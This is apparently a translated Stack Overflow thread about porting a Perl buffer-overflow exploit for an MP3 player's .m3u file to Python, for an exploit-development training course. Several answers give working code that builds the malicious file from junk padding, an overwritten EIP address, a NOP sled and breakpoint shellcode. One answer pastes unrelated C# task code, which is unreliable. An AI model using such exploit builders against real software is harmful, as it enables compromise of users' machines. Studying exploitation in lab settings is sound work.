Perl的Pack('V')函数在Python中?

时间:2011-06-17 17:38:17

标签: python perl exploit pack shellcode

我最近一直致力于一些漏洞利用开发,为培训课程做好准备,而且我遇到了一个教程问题。我一直在关注我能找到的所有教程,使用Python而不是教程使用的语言,而不是偏好。我正在尝试对所有内容进行交叉编码,但我无法弄清楚如何对Perl的Pack()函数进行交叉编码。

TL; DR: 我正在尝试将其翻译为python:

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);  

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";

我找到了Python的struct.pack()函数,但是当我使用

Fuzzed.write(struct.pack('V', 0x773D10A4))

,它会停止程序并且不起作用。我做错了什么?

这是我的完整源代码

import struct

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)

5 个答案:

答案 0 :(得分:11)

尝试使用"L<"包模板而不是"V"。这应该在Perl和Python中都有效。 NV是指定字节序的旧Perl方法,<>是较新的方法。看起来当Python从Perl借用pack时,它只采用了更新,更灵活的界面。

编辑: Python需要{/ 1}} 之前类型说明符,而Perl希望之后。不太相容:(

答案 1 :(得分:8)

Python的struct.pack使用endianess/size variation的第一个字符,然后data type使用一个或多个字符。 Perl的V means 32位unsigned int / little-endian。

Python模拟是struct.pack('<I', 0x773D10A4)

答案 2 :(得分:2)

我已经翻译成python,我已经尝试过MP3转换器了。这是你的答案:

var myTasks = new List<Task>();
myTasks.Add(Task.Run(() => someLongProcess))
myTasks.Add(Task.Run(() => someLongProcess))

Task.WhenAny(myTasks).Result
//Check to see how many tasks are done, and then add more to your collection and repeat until you're done

答案 3 :(得分:1)

这正是你想要的。培训课程怎么样?

import struct 

file = 'crash.m3u' junk = b'\x41' * 26091 eip = struct.pack('<I', 0x1d5f23a) preshellcode = b'\xcc' * 4 shellcode = b'\x90' * 25 + b'\xcc' fp = open(file, 'wb') fp.write(junk + eip + preshellcode + shellcode) fp.close() import binascii print binascii.hexlify(open(file, 'rb').read()) print 'm3u file is ready'

答案 4 :(得分:0)

我正在研究相同/相似的教程。对我而言,完全有效的是尼克的答案。我还测试了在易受攻击的软件上创建的m3u文件。尽管我的EIP地址不同,但它确实有效。我在Linux机器上使用python 3.7.5运行了它。这是修改后的代码:

import struct

Fuzzed = open('Fuzzed.m3u','wb')
Fuzzed.write(b'A' * 26072)
string = struct.pack('<I',0x773D10A4)
Fuzzed.write(string)
Fuzzed.write(b'C' * 3000)

我们需要将所有内容都转换为字节对象的原因是pack函数返回了字节对象,因此无法将其与字符串连接。同样str(struct.pack('

string = b'\xA4' + b'\x10' + b'\x3D' + b'\x77'